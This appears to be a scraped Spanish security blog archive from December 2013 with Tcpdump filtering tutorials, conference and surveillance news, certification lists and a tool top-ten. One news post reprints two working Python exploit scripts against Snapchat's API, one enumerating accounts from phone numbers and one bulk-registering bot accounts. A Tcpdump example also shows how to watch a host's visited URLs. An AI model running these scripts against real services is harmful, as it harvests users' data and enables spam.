domingo, 29 de diciembre de 2013

Qué deberíamos saber sobre Tcpdump (parte II)

Para terminar esta semana seguiremos por donde lo dejamos en la primera parte de esta serie de artículos sobre Tcpdump. 
  
La captura de paquetes es una de las formas más poderosas y fundamentales para analizar las redes. Y de la mano viene el filtrado.

Hoy nos ocupa el filtrado de las cabeceras de los  datagramas. Si recordáis, ya vimos un pequeño ejemplo en la entrada anterior, concretamente la manera de hacer filtros para los paquetes por el estado de sus flags...

Filtrado avanzado de encabezado
 
Tal y como os comento, anteriormente vimos como filtrar las banderas en el protocolo tcp según su posición en el octeto correspondiente en la cabecera. 
Como no, hay varias maneras de hacer esto...

Si para filtrar los paquetes con el ACK activo era " tcp[13] & 16 == 16 " , en realidad hay una manera mas fácil de hacer esto y sería: tcpdump-i eth1 'tcp [tcpflags] == tcp-ACK'

De esta misma manera podemos filtrar los paquetes tomando como referencia cualquier parte del Header del paquete y podemos aplicar los siguientes operadores >,<, >= <=, = y !=
 tcpdump "udp[0:2] < 1024"

Examinemos el filtro como antes: le estamos indicando que lea el octeto 0 con :2 y le estamos diciendo que lea dos octeto. En cristiano que lea del octeto 0 al octeto 1, o sea el puerto de origen, y que nos filtre sólo los paquetes cuyo puerto de orígen sea menor a 1024 ...

Si miramos con los ojos y un poco de conocimiento, a simple vista podemos deducir que podríamos filtrar este datagrama de las siguientes formas:


Esto mismo lo podemos hacer con el datagrama ICMP
Por ejemplo, si quisiéramos que nos mostrara las solicitud de eco (ECHO REQUEST, solicitud ping)  solamente el filtro quedaría tal que así:

tcpdump -i wlano -n 'icmp[0] = 8'  

 
Otro ejemplo con los Echo reply:
 
tcpdump -i wlan0 -n "icmp [0] = 0"

 
Y por último, para que quede más claro si cabe, vamos a filtrar destination unreachable:
 
tcpdump -i wlan0 -n "icmp [0] = 3"


Como estamos viendo podemos filtrar casi cualquier cosa con Tcpdump, pero sigamos viendo ejemplos...

Miremos el encabezado IP: 
 


Vamos a filtrar los paquetes recogidos por Tcpdump cuyo TTL sea mayor de 6
pues fijándonos en la imagen sabemos que el tiempo de vida del paquete queda recogido en el octeto numero 8, por lo tanto nuestro filtro quedaría así:

tcpdump -i wlan0 -n  "ip[8] > 6"
 
A Tcpdump también le podemos decir que compare el paquete con una cadena en hexadecimal de manera que podríamos decirle que filtrara los datagramas IP cuyo IP de origen sea 0xC0A8040F o 192.168.4.15:
 
tcpdump -i wlan0 -n "ip[12:4] = 0xC0A8040F"

Con esto le decimos que lea 4 octetos a partir del octeto 12 (ip origen) y lo compare con nuestro valor hexadecimal.
 
Algo que también podemos hacer a la hora de hacer filtros Tcpdump es agrupar con paréntesis:
 
tcpdump -i wlan0 -vvv -s 1500 '((port 67 or port 68) and (udp[38:4] = 0x3e0ccf08))'

Como veis podemos filtrar todo, solo tenemos como limite nuestra ocurrencia.

Tcpdump no tiene una opción de ensamblar las sesiones TCP directamente desde los paquetes, pero puede ser "simularlo" mediante el uso del comando strings
tcpdump -l -s0 -w - tcp dst port 80 | strings 
La opción -l anterior activa un buffer de línea, lo que hace que los datos se muestren en pantalla de inmediato.

Lo que sucede es que Tcpdump imprime los datos binarios sin formato en la pantalla. Esto da un giro con la opción -w donde el nombre de archivo especial - escribe a STDOUT en lugar de a un archivo. Normalmente, al hacer esto se mostraría todo tipo de basura, pero ahí es donde viene a cuento el comando strings que solo permite que se impriman en pantalla los datos reconocidos como texto.
Análisis HTTP

Usando el truco de strings podemos capturar datos HTTP, aunque Tcpdump en realidad no entienda nada al respecto. Luego de capturados, podemos analizarlos de varias maneras. 

Si queremos ver todos los sitios web accedidos por 192.168.1.190 en tiempo real, por ejemplo, sería algo así:

tcpdump -i eth1 -l -s0 -w - host 192.168.1.190 and port 80 \ | strings | grep 'GET\|Host' 


En este ejemplo, estoy usando un comando grep para mostrar sólo las líneas con GET o Host. Estas cadenas se muestran en las peticiones HTTP y en conjunto muestran las direcciones URL a las que se accede.

Bueno espero no haber sido muy espeso :D , os emplazo a la tercera y última entrega ...

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

#30c3: Comienza la edición 30 del congreso anual del CCC

El Chaos Computer Club (CCC) nació en Berlín en 1981 y hoy en día es la mayor asociación de hackers de Europa. Todos los años, entre Navidad y Nochevieja, organizan el Chaos Communication Congress que este año llega a su trigésima edición: 30c3.

Entre el 27 y el 30 de diciembre se impartirán en Hamburgo 130 charlas y 360 presentaciones, habrá talleres y se presentarán interesantes proyectos de código abierto.
Uno de los temas principales de la conferencia será la seguridad del hard y el software. Un enfoque especial del programa será por supuesto para la información filtrada por Edward Snowden y los sistemas de vigilancia de las agencias de espionaje y sus lacayos de la política y la industria, así como contramedidas contra ellos.

Además, como nota curiosa, este año la conectividad a Internet del congreso se realizará mediante un enlace récord de 100 Gbit, que ha sido posible gracias a las donaciones de los ISP y proveedores de equipos de red. 

El 30c3 es un evento no comercial, con precios bajos para sus entradas, que sólo es posible gracias a la incansable labor de innumerables voluntarios del CCC.

Puedes seguir los vídeos de las charlas en directo por streaming en: https://events.ccc.de/congress/2013/wiki/Streams


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Publican el API y dos exploits funcionales para Snapchat

Por si alguien no lo conoce... Snapchat es una aplicación de mensajería instantánea para iOS (iPhone) o Android que te permite enviar fotos y videos a uno o más amigos con una duración definida. Es decir, cuando las fotos o videos que has enviado alcanzan su duración límite (hasta 10 segundos) se borrarán (supuestamente) del teléfono de la persona que los recibió de manera automática.

Se calcula que actualmente hay más de 8 millones de usuarios activos y... bueno... Snapchat tiene la reputación de ser la aplicación que utilizan (sobretodo los más jóvenes) para compartir contenido sexual... uséase... sexting...

En agosto, los australianos de Gibson Security avisaron a Snapchat de varias vulnerabilidades pero la empresa se ??mantuvo en silencio y no las solucionó. El día de navidad (toma regalo), cansados de su indiferencia, han decidido publicar el API no documentada y dos exploits totalmente funcionales:

- el primero de ellos permite con una sola petición (/ph/find_friends) saber si un número de teléfono está o no asociado a una cuenta de Snapchat. No hay que ser un lumbreras para saber que si se automatiza el proceso podemos obtener una base de datos de cuentas de Snapchat y se cree que, con una conexión de 1gb, se podría obtener una total en unas 20 horas. 

El siguiente script simplemente lee una lista de números a partir de la entrada estándar, itera a través de ellos y escribe el resultado en la salida estándar. 

Uso: python2 find_friends.py $username $password < numbers.txt > results.txt

#!/usr/bin/env python2# python2 find_friends.py $username $password < numbers.txt > results.txtimport requestsimport hashlibimport jsonimport sysdef request_token(auth_token, timestamp):    secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk"    pattern = "0001110111101110001111010101111011010001001110011000110001000110"    first = hashlib.sha256(secret + auth_token).hexdigest()    second = hashlib.sha256(str(timestamp) + secret).hexdigest()    bits = [first[i] if c == "0" else second[i] for i, c in enumerate(pattern)]    return "".join(bits)numbers = sys.stdin.read().split("\n")base = "https://feelinsonice.appspot.com"r = requests.post(base + "/bq/login", data={    # These are hardcoded, just because it's easy.    "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",    "timestamp": 1373209025,    "username": sys.argv[1],    "password": sys.argv[2]}, headers={"User-agent": None})auth_token, username = r.json()["auth_token"], r.json()["username"]# We can hardcode these as well.static = {"req_token": request_token(auth_token, 1373209025), "countryCode": "US", "timestamp": 1373209025, "username": username}for number in numbers:    n = json.dumps({number: "J. R. Hacker"})    r = requests.post(base + "/ph/find_friends", data=dict(static, numbers=n), headers={"User-agent": None}).json()    if len(r["results"]) < 1:        continue    sys.stdout.write("{0} -> {1}\n".format(number, r["results"][0]["name"]))    sys.stdout.flush()
- el segundo de los exploits permite la creación masiva de cuentas en Snapchat para, por ejemplo, hacernos con un infame ejército de bots que envie spam. En esta ocasión se necesitan dos peticiones: /bq/register y /ph/registeru.

El siguiente script lee una lista de cuentas de la entrada estándar, intenta registrarlos y, a continuación, saca las cuentas registradas válidas por la salida estándar. 

El formato de la lista de cuentas debe ser de esta manera:

cuenta1: contraseña1: you1@example.orgcuenta2: contraseña2: you2@example.orgcuenta3: password3: you3@example.org... indefinidamenteUso: python2 bulk_register.py registered.txt#!/usr/bin/env python2# python2 bulk_register.py < accounts.txt > registered.txt# format accounts.txt like `username:password:email`import requestsimport sysaccounts = [a.split(":") for a in sys.stdin.read().split("\n") if a.strip() != ""]base = "https://feelinsonice.appspot.com"for account in accounts:    username, password, email = account    reg = requests.post(base + "/bq/register", data={        "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",        "timestamp": 1373209025,        "email": email,        "password": password,        "age": 19,        "birthday": "1994-11-27",    }, headers={"User-agent": None})    if not reg.json()["logged"]:        continue    nam = requests.post(base + "/ph/registeru", data={        "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",        "timestamp": 1373209025,        "email": email,        "username": username    }, headers={"User-agent": None})    if not nam.json()["logged"]:        continue    sys.stdout.write(":".join(account) + "\n")    sys.stdout.flush()
Full disclosure: http://gibsonsec.org/snapchat/fulldisclosure/
Fuente: Researchers publish Snapchat code allowing phone number matching after exploit disclosures ignored

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

martes, 24 de diciembre de 2013

Qué deberíamos saber sobre Tcpdump (parte I)

En una entrada anterior un lector anónimo comentaba: "Muy interesante sería una entrada para desvelar los misterios de tcpdump. En muchos tutoriales solo se araña la superficie de esta herramienta"... lo intentaremos.
La verdad es muy difícil decir algo de esta herramienta que no esté ya dicho, pero voy a intentar hacer un artículo en varias entregas con lo que creo que se debería saber sobre este magnifico sniffer. 

En esta serie de entradas (creo que serán unas 3) intentaremos abarcar todos los aspectos de esta herramienta, por favor si me dejo algo decirlo.
 
Para quien no sepa lo que es Tcpdump echaremos mano de Wikipedia... a modo de introducción: Tcpdump es un herramienta en línea de comandos cuya utilidad principal es analizar el tráfico que circula por la red.

Permite al usuario capturar y mostrar a tiempo real los paquetes transmitidos y recibidos en la red a la cual el ordenador está conectado. Tcpdump funciona en la mayoría de los sistemas operativos UNIX: Linux, Solaris, BSD, Mac OS X, HP-UX y AIX entre otros. En esos sistemas, tcpdump hace uso de la biblioteca libpcap para capturar los paquetes que circulan por la red. 

Existe una adaptación de Tcpdump para los sistemas Windows que se llama WinDump y que hace uso de la biblioteca Winpcap.

Tcpdump fue escrito originalmente en 1987 por Van Jacobson, Craig Leres y Steven McCanne. A día de hoy va por la versión: 4.5.1 / 1.5.2 release date: Nov 20, 2013/Dec 3, 2013.

Utiliza libpcap al igual que wireshark, snort, nmap, kismet, iftop, xplico y un largo etc...t ambién creada por estos tres "elementos", TCPdump puede ser a día de hoy unos de los sniffer mas usado en todo el mundo, por su versatilidad y potencia.

Dicho esto entramos en harina... 
 
Instalación

Lo podemos descargar de la pagina oficial y compilarlo, aunque sería muy raro que no estuviese en los repositorios como paquete ya precompilado para cualquier distribución. Debian, Ubuntu y derivadas lo pueden instalar con Apt,  Centos, Redhat con Yum, Opensuse con Yast,etc, etc.

Para mí, la mejor característica que tiene Tcpdump es que esta diseñado para correr en la linea de comandos, esto nos ofrece posibilidades que otros sniffers igual de potentes no tienen, sacrificamos a priori vistosidad y intuición de manejo por versatilidad...

Tcpdump básico

Antes de comenzar conviene echarle un ojo a las opciones de esta herramienta un poco por encima. Más adelante las iremos viendo todas:
Con esto ya estamos preparados para nuestro primer comando:
  
tcpdump -i wlan0 -n   
 
Lo que le estamos diciendo a tcpdump es que capture el trafico con la tarjeta de red Wlan0 y que no resuelva los nombres de las interfaces de manera que nos saldrían las ip:    
En realidad de momento esto no tiene ningún misterio: nosotros ordenamos y tcpdump obedece.

Vamos a ver otro ejemplo:
 
tcpdump -i wlan0 -n -c 1 -t -A 
  
En cristiano sería: -i captura el trafico por wlan0, -n no resuelvas los nombres, -c1 cuando hayas capturado 1 paquetes para, -t no muestres la hora, -A muestra los paquetes en ascII:

 
Otras opción que interesa ver sería -s len, donde "len" es la longitud que nos interesa. 

Por defecto Tcpdump sólo captura los primeros 68 bytes, lo cual es útil si lo único que se quiere son las cabeceras IP, TCP o UDP.  Sin embargo, en caso de estar esnifando protocolos como NFS se truncan los datos. En ese caso podemos ajustar la longitud de la captura a la MTU del medio que estamos usando con esta opción. Por ejemplo para capturar toda la trama ethernet podemos usar -s 1500 o -s 0.
  
Filtrado básico

A veces no nos interesa ver todos todos los paquetes que pasan por nuestra red y queremos ver los que salen de una determinada ip, o los de un puerto en concreto, etc.

Para esto Tcpdump viene bien armado, los modificadores básicos son 3:

Tipo:

Puede ser host, net o port, portrange indican respectivamente una máquina, por ejemplo host 192.168.1.1, una red completa, por ejemplo net 192.168,  un puerto concreto o un rango de puertos.

Veamos unos ejemplos:
 
Captura el tráfico que entre o salga del host 192.168.1.1 por el puerto 22:

tcpdump -i wlan0 host 192.168.1.11 port 22

Captura el tráfico con destino 192.168.1.11 por el rango de puertos del 22 al 25 pero no el 23:

tcpdump -i wlan0 host 192.168.1.11 and  portrange 22-25 and not 23
 
Dirección:

Especifica desde o hacia donde se va a mirar el flujo de datos. Tenemos src  (source) o dst (destination) y podemos combinarlos con or, and y not. Para el caso de de protocolos punto a punto podemos sustituir por inbound o outbound.

Más ejemplos:

Captura los paquetes que vienen de 192.168.1.11:

tcpdump -i wlan0 src 192.168.1.11 

Captura los paquetes que van hacia 192.168.1.11:

tcpdump -i wlano dst 192.168.1.11

Captura los paquetes con el origen 192.168.1.11 y destinado a 192.168.1.35:
 
tcpdump -i wlan0  src 192.168.1.11 and dst 192.168.1.35  
 
Por supuesto se pueden combinar con los modificadores anteriores:

tcpdump -i wlan0 -n -S src 192.168.1.11 and dst 192.168.1.35 and dst  port 25
  
Captura los paquetes de origen 192.168.1.11 con destino 192.168.1.35 con el puerto de destino 25.

Proto:

En este caso es el protocolo que queremos capturar: tcp, udp, icmp, rarp, ip, ip6, igrp, icmp6, igmp, etc, etc...

tcpdump -i wlan0 icmp and host 192.168.1.1
   
Seguro que me dejo infinidad de expresiones y combinaciones, todo lo anterior lo podemos escribir tanto con nombres de servidor, direcciones ip o direcciones mac... Como veis cuando hablé de versatilidad iba en serio.

Siguiendo con el tema del filtrado ....todavía podemos filtrar aun más y ser mucho mas quirúrgicos...

Filtrado (no tan básico) de FLAGS 
 
Imaginemos que queremos filtrar todos los paquetes que lleguen de una máquina a otra por un puerto determinado, que tengan el flag activo ACK (así dicho tan en frío casi suena a rollazo pero en el próximo tutorial veremos un par de ejemplos muy divertidos). 

Esto lo podríamos filtrar del siguiente modo (es un poco largo pero luego veremos como abreviarlo todo):

tcpdump -i wlan0  src host 192.168.1.10 and dst host 192.168.1.30 and port 22 and  -S -n  " tcp[13] & 16 == 16 "

Fijémonos ahora en la parte resaltada del filtro y veamos de dónde sale y qué significa.

Para ello debemos ver como es una cabecera tcp y dónde se sitúa la bandera ACK (esto mismo se puede hacer con otros protocolos como icmp, luego veremos cuanto puede dar de sí ésto...)

   
Como podemos ver, la bandera ACK está situada en el octeto número 13. De ahí sale el principio del filtro tcp[13].

Ahora miremos más de cerca... el octeto sería 0001000 si tuviese el flag ACK activo. Si pasamos esa situación de binario a decimal nos da 16 con lo cual podemos decirle a tcpdump que mire en la cabecera en el octeto 13 y si es igual a dieciséis que nos muestre esos paquetes ..." tcp[13] & 16 == 16 " 

¿Sencillo no?, imaginad... ¿qué no podéis filtrar con tcpdump?, ¿se puede ser mas quirúrgico?...

Otro ejemplo. Si queremos visualizar los paquetes  con  el syn ack activo el estado del octeto 13 sería 00010010 = 18 con lo cual el filtro es " tcp[13] & 18 == 18.

Bueno por hoy lo dejamos aquí, espero no haber aburrido y hasta la segunda entrada sobre Tcpdump...


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

¡Feliz navidad!

perl -e '$n="\e[0;40;32m";for(1..10){print"\ec$n\n".$"x(15)."\e[1;35mY$n" .$"x15;for(1..8){print$/.$"x($a=16-$_);$c=int rand($d=2*$_);for(2..$d){$f=31+int rand(3);print($_-$c?"X":"\e[$f;1m*$n")}print$"x$a}print $/.$"x(31)."\e[0m\n".$"." Merry Xmas !!!".$/x2;select$q,$q,$q,0.5}'

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

sábado, 21 de diciembre de 2013

Lista de las principales certificaciones de seguridad informática y hacking ético

¿Estás pensando en obtener una certificación profesional en seguridad y hacking ético? Hoy queríamos compartir con vosotros un reciente artículo de EFYTimes se hace un breve repaso a las principales certificaciones de la actualidad:

1. Certified Ethical Hacker por EC-Council
 
CEH ofrece un amplio programa de hacking ético y de formación de seguridad en redes para cumplir con los más altos estándares para profesionales. Cientos de pymes y autores han contribuido al contenido que se presenta en el material pedagógico del CEH. En cada pack se ofrecen las últimas herramientas y exploits descubiertos en la comunidad underground. Sus investigadores han invertido miles de horas analizando las últimas tendencias y descubriendo las técnicas secretas utilizadas.

Otras certificaciones de EC-Council:

Licensed Penetration Tester - LPT
EC-Council Certified Security Analyst - ECSA
EC-Council Network Security Administrator - ENSA
EC-Council Certified Incident Handler - ECIH
Computer Hacking Forensic Investigator - CHFI
Chief Information Security Officer - CCISO

2. Gerente Certificado de Seguridad de la Información (CISM) por ISACA

El CISM es el estándar aceptado globalmente para las personas que diseñan, construyen y gestionan los programas de seguridad de la información empresarial. CISM es la principal certificación para administradores de seguridad de la información. El último índice trimestral de valoración de Habilidades y Certificaciones IT (ITSCPI) de Foote Partners clasificó a CISM como la más codiciada y la que más se paga de las certificaciones de seguridad.

Otras certificaciones de ISACA:

Certified Information Systems Auditor (CISA)
Certified in the Governance of Enterprise IT (CGEIT)
Certified in Risk and Information Systems Control (CRISC)


3. Profesional Certificado de Sistemas de Información de Seguridad (CISSP) por ISC2
 
La certificación CISSP es un estándar reconocido a nivel mundial que confirma el conocimiento de un individuo en el campo de la seguridad de la información. Los certificados en CISSP son profesionales de la seguridad de la información que definen la arquitectura, el diseño, la gestión y/o los controles que garantizan la seguridad de los entornos empresariales. Fue la primera certificación en el ámbito de la seguridad de la información para cumplir con los estrictos requisitos de la norma ISO/IEC 17024.

Otras certificaciones de ISC2:

Systems Security Certified Practitioner
Certified Authorization Professional
Certified Secure Software Lifecycle Professional
Certified Cyber Forensics Professional
HealthCare Information Security and Privacy Practitioner

4. Profesional de la Seguridad Inalámbrica Certificado (CWSP) por Certified Wireless Network Professional (CWNP)
   
La certificación CWSP asegura que se tienen las capacidades para proteger las redes empresariales Wi-Fi de los hackers, sin importar qué modelos o marcas se implanten en la organización.

Otros cursos de CWNP:

Entry level - CWTS: Certified Wireless Technology Specialist
Administrator level - CWNA: Certified Wireless Network Administrator
Professional level - CWDP: Certified Wireless Design Professional
Professional level - CWAP: Certified Wireless Analysis Professional
Expert level - CWNE: Certified Wireless Network Expert

5. CompTIA Security +
 
  CompTIA Security + es una certificación internacional de un proveedor neutral que demuestra la competencia en la seguridad de red, el cumplimiento y seguridad operativa, amenazas y vulnerabilidades, aplicaciones, seguridad del host y los datos, control de acceso y gestión de la identidad y de la criptografía.

Otros cursos de CompTIA:

CompTIA Advanced Security Practitioner (CASP)
CompTIA A+
CompTIA CDIA+
CompTIA Cloud+
CompTIA CTT+
CompTIA Linux+ Powered by LPI
CompTIA Mobile App Security+
CompTIA Mobility+
CompTIA Network+
CompTIA PDI+
CompTIA Project+
CompTIA Security+
CompTIA Server+
CompTIA Storage+ Powered by SNIA
CompTIA Cloud Essentials
CompTIA Green IT
CompTIA Healthcare IT Technician
CompTIA IT for Sales
Social Media Security Professional
Strata IT Fundamentals

6. Todos los cursos de Certificación Global Information Assurance (GIAC)
 
GIAC (Información Global de Aseguramiento de Certificación) fue fundada en 1999 para validar las habilidades de los profesionales de la seguridad de información. El propósito de GIAC es proporcionar la seguridad de que una persona certificada tiene el conocimiento y las habilidades necesarias para ser un profesional en las áreas clave de la informática y la seguridad del software y la información. Las certificaciones GIAC tienen la confianza de miles de empresas y organismos gubernamentales, entre ellos la Agencia de Seguridad Nacional de los Estados Unidos (NSA).

Las certificaciones GIAC abordan una amplia gama de habilidades, desde lo básico con una amplia base de fundamentos de seguridad, así como temas avanzados como la auditoría, detección de intrusiones, manipulación, firewalls y protección perimetral, forense, técnicas de hacking, seguridad de sistemas operativos Windows y Unix y fortificación del software y programación de aplicaciones.

GIAC ofrece certificaciones en las siguientes categorías:

Security Administration
Forensics
Management
Audit
Software Security
Legal

Artículos relacionados del blog:
 
- Certificaciones de seguridad
- Tendencias en certificaciones de seguridad para el 2010
- Ganador de la encuesta: ¿Cuál es la certificación que más valoras?
- IPv6: certificaciones de compatibilidad
- Curso gratuito de preparación para el CISSP valorado en 3000 euros


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Top 10 de las mejores herramientas de seguridad del 2013 de ToolsWatch

ToolsWatch es una de esas páginas imprescindibles para mantener al día tu arsenal de herramientas de seguridad. El siguiente Top 10 es una lista de las herramientas del 2013 más votadas y valoradas por sus usuarios y lectores:

1.- OWASP Zed Attack Proxy (ZAP): herramienta de fácil uso para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada tanto por desarrolladores y probadores funcionales (que son nuevos en tests de intrusión) como por personas con una amplia gama de experiencia en seguridad. Permite automatizar las pruebas y también facilita un número de herramientas para hacerlas manualmente.

2.- BeEF (The Browser Exploitation Framework): marco modular que utiliza técnicas pioneras que proveen la posibilidad de realizar pruebas de intrusión y poder experimentar varios vectores de ataques de carácter práctico. La herramienta se centra en el aprovechamiento de las vulnerabilidades del navegador web para abarcar la seguridad desde un punto objetivo.

3.- Burp Suite: herramienta que permite realizar test de intrusión en aplicaciones web, permitiendo combinar técnicas manuales y automáticas para enumerar, analizar, atacar y explotar aplicaciones Web. Puede funcionar como proxy entre nuestro navegador e Internet, pero además tiene otras muchas funcionalidades como un spider, un escáner o un repetidor por ejemplo.

4.- PeStudio: herramienta gratuita para realizar análisis estáticos de binarios ejecutables de Windows. Un fichero analizado con PeStudio no se ejecuta por lo que puede evaluarse sin riesgo aunque sea malware. Además tiene entorno gráfico y es portable.

5.- OWASP Xenotix XSS Exploit Framework: es un marco avanzado de explotación y detección de vulnerabilidades de tipo Cross Site Scripting (XSS). No proporciona casi fasos positivos y utiliza un triple motor de navegación (Trident, WebKit y Gecko). Tiene más de 1500 payloads distintos y es capaz de evadir WAF.

6.- Lynis: herramienta de seguridad y auditoría para sistemas basados en Unix/Linux. Escanea el sistema ejecutando muchas pruebas de seguridad, revisa el software instalado y determina si cumple los estandars. También detecta fallos de seguridad y errores de configuración.

7.- Recon-ng: es un framework de reconocimiento web escrito en Python. Proporciona un potente entorno de código abierto con módulos independientes, interacción con base de datos, funciones a medida, ayuda interactiva y autocompletado de comandos.

8.- Suricata: es un IDS/IPS de red de alto rendimiento y un motor para la monitorización de la seguridad de la red. Es de código abierto y propiedad de una fundación sin ánimo de lucro dirigida a la comunidad, la Open Information Security Foundation (OISF). Es altamente escalable, puede identificar la mayoría de los protocolos, permite identificación y extracción de ficheros y checksums MD5.

9. WPScan: es un escaner de vulnerabilidades de tipo caja negra para Wordpress. Está escrito en Ruby y permite comprobar vulnerabilidades conocidas en instalaciones de Wordpress.

10.- O-Saft (OWASP SSL Advanced Forensic Tool): es una herramienta fácil de usar para analizar información sobre las conexiones SSL y los certificados SSL proporcionados. Está diseñado para ser utilizado por pentesters, auditores de seguridad o administradores de servidores.


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Obtienen claves de cifrado RSA escuchando el sonido de emite la CPU

Recientemente han conseguido comprometer con éxito uno de los algoritmos de cifrado más seguros - RSA de 4096 bits - y, lo más sorprendente, es que lo han hecho simplemente escuchando con un micrófono el ruido que emite el procesador del ordenador al descifrar los datos (10 a 150 KHz).
 
Los investigadores extrajeron con éxito las claves de descifrado a una distancia de cuatro metros y en menos de una hora con un micrófono parabólico de alta calidad. Sin embargo, también se las arreglaron para atacar a un smartphone a 30 centímetros del portátil atacante y llevaron a cabo (con distinto éxito) pruebas contra diferentes ordenadores portátiles y de sobremesa.
 
Este criptoanálisis acústico, realizado por Daniel Genkin, Adi Shamir (co-inventor de RSA) y Eran Tromer, utiliza lo que se conoce como un ataque de canal lateral (no convencional e indirecto) sobre la implementación 1.x del criptosistema RSA de de GnuPG y, a muy grandes rasgos, lo que hacen es obtener las claves RSA interpretando la señal acústica que se genera realmente por el regulador de voltaje de la CPU al ejecutar las correspondientes instrucciones para el descifrado de datos.

En la siguiente imagen podemos ver el espectrograma de frecuencia de varias instrucciones de la CPU:


Además, el mismo tipo de datos eléctricos también pueden "adivinarse" de muchas otras fuentes - la toma de corriente de la pared , el extremo remoto de un cable Ethernet, o simplemente tocando el ordenador (con la medición relativa de potencial de un cuerpo con el potencial de tierra de la habitación).

En cuanto a las repercusiones en el mundo real, el criptoanálisis acústico es en realidad... sorprendentemente peligroso.

Imagina que estás descifrando algunos archivos en una biblioteca, cafetería, u otro espacio público - una persona podrá obtener tu clave de descifrado con sólo colocar el teléfono cerca del ordenador. O de forma alternativa, un atacante podría utilizar un spear phishing para poner malware en tu teléfono para escuchar la clave de descifrado.
Con HTML5 y Flash capaz de acceder al micrófono, sería también posible construir un sitio web que recibe las claves de cifrado.
Los investigadores proponen un escenario particularmente nefasto: pon un micrófono en un servidor en un rack de un centro de datos y podrás obtener las claves de cifrado de cientos de servidores cercanos...

Paper de la investigación:
 RSA Key Extraction via Low-Bandwidth Acoustic Cryptanalysis [PDF]

Fuente: 
- Researchers crack the world’s toughest encryption by listening to the tiny sounds made by your computer’s CPU


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

lunes, 16 de diciembre de 2013

NSA utiliza las cookies para espiar

La Agencia de Seguridad Nacional (NSA, por sus siglas en inglés) de Estados Unidos recurre a las «cookies» de Google para consultar la actividad previa del usuario y conocer sus gustos —como hacen los anunciantes de Internet—, con el fin último de identificar los objetivos a espiar. 
  Según una investigación del diario estadounidense «The Washington Post», unas diapositivas de la NSA proporcionadas por el excontratista de la NSA Edward Snowden confirmarían que la agencia está utilizando estas técnicas de rastreo para identificar objetivos a «hackear» y reforzar la vigilancia. 
   Durante años, los defensores de la privacidad en Internet han expresado su preocupación por el uso de las herramientas de seguimiento comerciales que se usan para identificar y dirigirse a los consumidores con determinados anuncios. La industria, por su parte, responde que supone un beneficio para los consumidores al proporcionarles anuncios de su interés. 
   Según los citados documentos, la NSA y el GCHQ (la agencia de inteligencia del Reino Unido) han encontrado «un uso particular» para un mecanismo de seguimiento específico de Google, conocido como la «cookie» PREF, que no suele contener información personal, como el nombre de una persona o su dirección de correo electrónico, pero que incluye códigos numéricos que permiten identificar el navegador de un usuario. 
   Además del seguimiento, esta «cookie» permitiría aislar las comunicaciones de una persona entre el mar de datos de Internet con el objetivo de enviar un software capaz de «hackear» la computadora de esa persona. Unos ataques específicos que, sin embargo, no estarían detallados en los documentos filtrados. 
   Según ha resaltado el diario, la NSA utilizaría esta técnica para seguir a personas bajo sospecha o, incluso, para localizarles a través de la conexión a Internet de su terminal móvil, rastreando la ubicación de cada dispositivo. Los expertos consultados por este medio afirman que en las diapositivas no se especifica si existe un cooperación por parte de Google, aunque advierten de que si la NSA obtiene los datos de esa manera y las empresas conocen sus movimientos, están legalmente obligadas a denunciarlo.

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

¿Desmontan el CESICAT?

Apodado "la Tía Catalana", el "NCI catalán", "el NSA de Cataluña"....

Nació sin hacer ruido y sin llamar la atención y ante la necesidad de velar por la seguridad de las telecomunicaciones de la Generalitat y de sus instalaciones.... algo así como lo que hace INTECO (grandes profesionales) por el estado español.

Hasta que el pasado 27 de Octubre  Anonymous hizo saltar la liebre, filtrando unos documentos —previamente robados por un extrabajador—.

La cosa tiene miga, estrecha colaboración con Mossos d'Esquadra, supuestos contactos con el mossad israelí, espionaje a ciudadanos sin antecedentes, seguimientos de hacktivistas en la red, listas negras... todo apunta a que se estaban tomando su trabajo de agencia de seguridad informática demasiado a pecho, abarcando competencias de los grupos de seguridad del estado sin ningún tipo de orden judicial...

Como a dicho el abogado Hibai Arbide, cuyo perfil ha sido seguido por Cesicat... “aunque no sea espionaje, la recopilacio´n de datos con criterios ideolo´gicos esta´ prohibida”. También argumenta “Una de las hipo´tesis con las que trabaja CiU es que, una vez Catalunya se declare independiente, haya servicios secretos y cloacas del Estado",  Arbide recuerda, además, que en noviembre de 2011 Felip Puig dijo que los Mossos irían “más allá de la ley” en el combate a la disidencia."

Una duda asalta mi mente... tal y como va el país y la inclinación que tienen sus amiguetes los Mossos por la leña ¿cuánto habrían tardado en tomar soluciones más quirúrgicas en pro de la "seguridad y libertad del país catalán"?? ...(me podéis llamar exagerado pero que se lo digan al empresario del video).

El Ejecutivo de Artur Mas se resiste a denunciar los hechos porque eso implicaría, entre otras cosas, admitir que el Cesicat desarrolló actividades ajenas a su misión original.

El Gobierno de Artur Mas ni siquiera admite, de forma oficial, que los documentos sean auténticos. Fuentes policiales y del Gobierno, sin embargo, reconocen que el Cesicat desarrolló esas actividades.

Sus responsables, además —así consta en los documentos— idearon un proyecto para convertir al Cesicat en el embrión de una suerte de CNI catalán, lo que ha levantado una polvareda política y ha puesto en jaque la supervivencia del Centro de Seguridad de la Información de Cataluña.
 
El robo y posterior filtración de los datos han sacado los colores al Cesicat y ha descolocado al Gobierno catalán.

*Enlace a documentos a los que hemos cambiado el nombre original, (a ver lo que duran, en este País, “No hay nada como tener amigos para que las cosas se borren rápido y bien” .)

